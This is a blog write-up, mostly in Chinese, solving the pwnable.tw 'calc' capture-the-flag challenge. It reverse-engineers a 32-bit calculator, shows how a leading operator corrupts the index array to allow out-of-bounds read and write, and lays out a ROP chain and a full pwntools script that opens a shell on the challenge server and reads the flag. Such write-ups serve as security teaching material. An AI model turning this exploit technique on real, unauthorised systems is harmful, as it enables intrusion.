Pwnable.tw calc Writeup

kazma 成大資安社 創辦人/社長

Pwnable.tw - calc

Description

Have you ever use Microsoft calculator?

Source

https://pwnable.tw/challenge/#3

0x1 Initial Reconnaissance

題目如名是一個計算機,跟前面一樣都是 x86 的 binary,然後是 statically linked,又 NX 有開,可能高機率會利用到 rop,這邊有個印象就好,執行的部分有發現一些不尋常的輸出,稍後可以來分析這些 case。

file

1
2
└─$ file ./calc
./calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped

checksec

1
2
3
4
5
6
7
└─$ checksec ./calc
[*] '/home/kazmatw/pwnable/calc/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

./calc

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ ./calc
=== Welcome to SECPROG calculator ===
1+1
2
1/0
prevent division by zero
1+0
prevent division by zero
-50+50
43
+100+100
100
No time to waste!

0x2 Reverse Engineering

用 ida 反編譯並且整理過後,我們大致可以理解程式的行為如下:

main()

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
ssignal(14, timeout);
alarm(60);
puts("=== Welcome to SECPROG calculator ===");
fflush(stdout);
calc();
return puts("Merry Christmas!");
}

輸出歡迎後呼叫 cal()

calc()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void __cdecl calc()
{
int pool[101]; // [esp+18h] [ebp-5A0h] BYREF
char input[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
unsigned int canary; // [esp+5ACh] [ebp-Ch]

canary = __readgsdword(0x14u);
while ( 1 )
{
bzero(input, 0x400u);
if ( !get_expr((int)input, 1024) )
break;
init_pool(pool);
if ( parse_expr((int)input, pool) )
{
printf("%d\n", pool[pool[0]]);
fflush(stdout);
}
}
}

用無限迴圈讀取使用者輸入,先用 bzero() 初始化即將要輸入的陣列,用 get_expr() 讀取,讀取成功後用 init_pool() 初始化結果陣列,並且呼叫 parse_expr() 計算結果,最後輸出答案: pool[pool[0]] ,接著細看 get_expr()

get_expr()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl get_expr(int user_input, int max_input)
{
int curr_index; // eax
char input_char; // [esp+1Bh] [ebp-Dh] BYREF
int count; // [esp+1Ch] [ebp-Ch]

count = 0;
while ( count < max_input && read(0, &input_char, 1) != -1 && input_char != '\n' )
{
if ( input_char == '+'
|| input_char == '-'
|| input_char == '*'
|| input_char == '/'
|| input_char == '%'
|| input_char > '/' && input_char <= '9' )
{
curr_index = count++;
*(_BYTE *)(user_input + curr_index) = input_char;
}
}
*(_BYTE *)(count + user_input) = 0;
return count;
}

迴圈會判斷輸入是否:

  1. 小於 1024 個 Bytes
  2. 成功讀取字元
  3. 字元非換行符號
    皆符合就輸入到 user_input 的尾巴,最後會返回輸入的大小。

parse_expr()

這部分有點長,我把它拆開來分析:

1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl parse_expr(int input, _DWORD *pool)
{
int pool_index; // eax
int point_on_input; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int operators_array_index; // [esp+28h] [ebp-80h]
int part_size; // [esp+2Ch] [ebp-7Ch]
char *part_input; // [esp+30h] [ebp-78h]
int part_input_int; // [esp+34h] [ebp-74h]
char operators_array[100]; // [esp+38h] [ebp-70h] BYREF
unsigned int canary; // [esp+9Ch] [ebp-Ch]

canary = __readgsdword(0x14u);
point_on_input = input;
operators_array_index = 0;
bzero(operators_array, 0x64u);
for ( i = 0; ; ++i )
{
if ( *(char *)(i + input) - (unsigned int)'0' > 9 )
{
part_size = i + input - point_on_input;
part_input = (char *)malloc(part_size + 1);
memcpy(part_input, point_on_input, part_size);
part_input[part_size] = 0;
if ( !strcmp(part_input, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}

接下來一連串的判斷是要處理運算的先後順序,首先要是符號才能進入最外層,然後會把這個符號前未處理的數字切成 part_input 並且判斷是否為 0(這個程式拒絕任何的 0 單獨出現 XD,前面測試階段有發現)

2.

1
2
3
4
5
6
7
8
9
10
11
12
part_input_int = atoi((int)part_input);
if ( part_input_int > 0 )
{
pool_index = (*pool)++;
pool[pool_index + 1] = part_input_int;
}
if ( *(_BYTE *)(i + input) && *(char *)(i + 1 + input) - (unsigned int)'0' > 9 )
{
puts("expression error!");
fflush(stdout);
return 0;
}

第一部分沒問題後就會把切塊的字串轉成整數,因為 *pool = pool[0],所以 pool_index 會儲存 pool[0] 之後,執行pool[0]+1 ,這邊可以理解成 pool[0] = pool.size()。把切塊的整數放到 pool 的最後面,接著判斷符號後面是否還有東西而且不是符號,否則輸出錯誤訊息。

3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
      point_on_input = i + 1 + input;
if ( operators_array[operators_array_index] )
{
switch ( *(_BYTE *)(i + input) )
{
case '%':
case '*':
case '/':
if ( operators_array[operators_array_index] != '+' && operators_array[operators_array_index] != '-' )
goto LABEL_14;
operators_array[++operators_array_index] = *(_BYTE *)(i + input);
break;
case '+':
case '-':
LABEL_14:
eval(pool, operators_array[operators_array_index]);
operators_array[operators_array_index] = *(_BYTE *)(i + input);
break;
default:
eval(pool, operators_array[operators_array_index--]);
break;
}
}
else
{
operators_array[operators_array_index] = *(_BYTE *)(i + input);
}
if ( !*(_BYTE *)(i + input) )
break;
}
}
while ( operators_array_index >= 0 )
eval(pool, operators_array[operators_array_index--]);
return 1;
}

如果符號陣列不是空就照不同情況作運算,否則放入目前符號到符號陣列中,呼叫 eval() 計算。

eval()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __cdecl eval(_DWORD *pool, char operators)
{
if ( operators == '+' )
{
pool[*pool - 1] += pool[*pool];
}
else if ( operators > '+' )
{
if ( operators == '-' )
{
pool[*pool - 1] -= pool[*pool];
}
else if ( operators == '/' )
{
pool[*pool - 1] /= (int)pool[*pool];
}
}
else if ( operators == '*' )
{
pool[*pool - 1] *= pool[*pool];
}
--*pool;
}

可以發現 eval() 都是用 pool[0] 當成相對位址的 base 來取其他位置的值

0x3 Fuzzing & Analyze

在最一開始執行程式的時候有發現只要開頭是符號結果就怪怪的,我們來分析一下出了什麼問題,先拿 +12+34 當例子:

1
2
3
4
└─$ ./calc
=== Welcome to SECPROG calculator ===
+12+34
34
  • 第一個加號
  1. 因為是符號會通過最外層的 if,且 part_input = '',不等於 0 所以不會輸出錯誤訊息。
  2. 接著 atoi 會把空字串轉成 0,沒有大於 0 所以第一個判斷不會進,後面不是符號所以也不會進錯誤。
  3. operators_array[operators_array_index] 是空的所以會執行operators_array[0] = '+',後面還有東西所以繼續執行。
  • 第二個加號
  1. 一樣會通過最外層的 ifpart_input = 12,非 0 所以不會進錯誤。
  2. 整數 56 大於 0,所以會執行以下的程式碼:
    1
    2
    3
    4
    5
    if ( part_input_int > 0 )
    {
    pool_index = (*pool)++;
    pool[pool_index + 1] = part_input_int;
    }
    也就是:
    1
    2
    3
    pool_index = pool[0] = 0; 
    pool[0] += 1;
    pool[1] = part_input_int = 12;
    下個字元不是符號不會進錯誤。
  3. 符號陣列已經存了一個 '+' 所以會執行:
    1
    2
    eval(pool, operators_array[operators_array_index]);
    operators_array[operators_array_index] = *(_BYTE *)(i + input);
    也就是:
    1
    2
    3
    4
    5
    6
    eval(pool, '+')
    // 進入 eval()
    pool[pool[0] - 1] += pool[pool[0]];
    --*pool;
    // 離開 eval()
    operators_array[0] = '+';
    我們再細看一下 pool[pool[0] - 1] += pool[pool[0]];
    1
    2
    3
    4
    pool[0] = 1
    pool[1-1] = pool[0]
    pool[0] += pool[1] = 12
    pool[0] + 1 - 1 = 12
    關鍵就在這裡,作為相對位址基值的第零格被我們篡改了!
    接下就會再執行一次下面兩段程式碼:
    1
    2
    3
    4
    5
    6
    // 1.
    pool_index = (*pool)++;
    pool[pool_index + 1] = part_input_int;
    // 2.
    pool[pool[0] - 1] += pool[pool[0]];
    --*pool;
    也就是:
    1
    2
    3
    4
    5
    6
    7
    8
    // 1.
    pool_index = pool[0]++ = 13;
    pool[0] = 14
    pool[13 + 1] = 34
    // 2.
    pool[14 - 1] += pool[14] = 34
    pool[13] = pool[13] + 34
    pool[0] - 1 = 13
    這代表我們可以做到任意寫和任意讀,確認一下輸出的位置是哪裡:
    1
    2
    3
    4
    5
    if ( parse_expr((int)input, pool) )
    {
    printf("%d\n", pool[pool[0]]);
    fflush(stdout);
    }
    所以會印出 pool[pool[0]]:
    在這裡的情況就是
    1
    2
    pool[0] = 13
    pool[pool[0]] = pool[13]
    所以會印出 pool[13] = pool[13] + 34
    我們來把結論代數化方便我們理解他們的關係:
    假設 x, y 皆為正整數。

Case 1: +x

執行 1:

1
2
3
4
5
if ( part_input_int > 0 )
{
pool_index = (*pool)++;
pool[pool_index + 1] = part_input_int;
}

結果 1:

1
2
3
pool_index = pool[0] = 0
pool[0] = 1
pool[1] = x

執行 2:

1
2
pool[pool[0] - 1] += pool[pool[0]];
--*pool;

結果 2:

1
2
pool[0] += pool[1] = x 
pool[0] = x + 1 - 1 = x

印出:

1
pool[pool[0]] = pool[x]

Case 2: +x+y

基於上面的結果我們再加 y:
目前:

1
2
3
pool_index = 0
pool[0] = x
pool[1] = x

執行 1:

1
2
3
4
5
if ( part_input_int > 0 )
{
pool_index = (*pool)++;
pool[pool_index + 1] = part_input_int;
}

結果 1:

1
2
3
pool_index = pool[0] = x
pool[0] = x + 1
pool[x + 1] = y

執行 2:

1
2
pool[pool[0] - 1] += pool[pool[0]];
--*pool;

結果 2:

1
2
3
4
pool[x + 1 - 1] += pool[x + 1] = y
pool[x] += y
pool[x] = pool[x] + y
pool[0] = x

印出:

1
pool[pool[0]] = pool[x] = pool[x] + y

代數化結論

  • +x
    • 印出 pool[x]
  • +x+y
    • pool[x] = pool[x] + y
    • pool[x + 1] = y
    • 印出 pool[x] = pool[x] + y

我們執行一個特殊的 case 確認一下我們的推論:
因為迴圈每次都會執行 init_pool(pool);
所以 case 會挑 pool 外的地址

1
2
3
4
5
6
7
8
9
10
└─$ ./calc
=== Welcome to SECPROG calculator ===
└─$ ./calc
=== Welcome to SECPROG calculator ===
+400 # print(pool[400])
-1715908 # pool[400]
+399+123 # pool[400] = 123 print(pool[399] + 123)
123 # pool[399] + 123
+400 # print(pool[400])
123 # pool[400]

結論正確!

0x4 Exploitation

我們已經可以做到任意的 oob write & read 了,再來就是找 ret 跟 pool 的相對位置:
在 ida 有很貼心的幫我們標示 pool[] 的位置:
int pool[101]; // [esp+18h] [ebp-5A0h] BYREF
cal() 的 ret 在 ebp + 0x4,
0x5A0 + 0x4 = 0x5A4 / 4 = 361
所以 ret 在 pool[361] 的位置。
那最一開始有提到這題有開 NX 不能直接寫 shellcode,但因為是 statically linked,所以我會想先嘗試 rop 開 shell。
我們還需要知道 main_ebp 的位置,因為這題找不到 “\bin\sh”,所以我們要自己填再跳上去,因此會需要 leak main_ebp。
那 leak 的方式也很簡單,因為 pool[360] 就是存 main_ebp 所以可以透過輸入 +360 來獲得。
等等會直接把 /bin/sh 放在 in 0x80 後面,所以把 stack frame 用 gdb 釐清一下,進到 calc() 後印出 $ebp

1
2
gef➤  x $ebp
0xffffd278: 0xffffd298

所以可以得知 calc_ebp 到 main_ebp 的距離為 0x20。
來用表格呈現一下我們的 ROP chain:

Stack pool value Note
calc_ebp pool[360] main_ebp
calc_ret pool[361] 0x0805c34b pop_eax
main_ebp-0x18 pool[362] 0x0b 11
main_ebp-0x14 pool[363] 0x080701d0 pop_edx_ecx_ebx
main_ebp-0x10 pool[364] 0x0
main_ebp-0xc pool[365] 0x0
main_ebp-0x8 pool[366] main_ebp bin_sh_addr
main_ebp-0x4 pool[367] 0x08049a21 int 0x80
main_ebp pool[368] u32(“/bin”)
main_ret pool[369] u32(“/sh\0”)

填的時候要注意不能單獨出現 0,所以我們可以利用 +x+y 會把 pool[x] = pool[x] + y 的特性來放置我們的 rop,就可以避免跳 prevent division by zero 的錯誤。

0x5 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import warnings
warnings.filterwarnings("ignore", category = BytesWarning)

context.arch = 'i386'

#r = process('./calc')
r = remote("chall.pwnable.tw", 10100)
r.recv()
r.sendline("+360")
main_ebp = int(r.recv())
success("main_ebp: %s" % hex(main_ebp))

pop_eax = 0x0805c34b
pop_edx_ecx_ebx = 0x080701d0
int_0x80 = 0x08049a21

rop = [pop_eax, 0x0b, pop_edx_ecx_ebx, 0x0, 0x0, main_ebp, int_0x80, u32("/bin"), u32("/sh\0")]

offset = 361
for i in rop:
payload = '+' + str(offset)
r.sendline(payload)
temp = int(r.recv())
temp = i - temp
if temp >= 0:
payload += '+' + str(temp)
else:
payload += str(temp)
r.sendline(payload)
r.recv()
offset += 1
r.interactive()

Result:

1
2
3
4
5
6
└─$ python exploit.py
[+] Opening connection to chall.pwnable.tw on port 10100: Done
[+] main_ebp: -0x510cf8
[*] Switching to interactive mode
$ cat /home/calc/flag
FLAG{??????????????????}

0x6 References

一開始做的時候忽略 eval() 最後有個 --*pool;導致一直計算錯誤QQ。
這題寫了蠻久的,參考了很多大佬的 writeup,學到好多東西,未來應該也會用表格和拆解程式碼來輔助釐清思緒。
https://hackmd.io/@Zero871015/pwnable#calc
https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/01/calc/
https://blog.csdn.net/weixin_46521144/article/details/118543069

Pwned !!!

  • Title: Pwnable.tw calc Writeup
  • Author: kazma
  • Created at : 2024-02-11 22:59:16
  • Updated at : 2024-04-19 14:35:38
  • Link: https://kazma.tw/2024/02/11/Pwnable-tw-calc-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments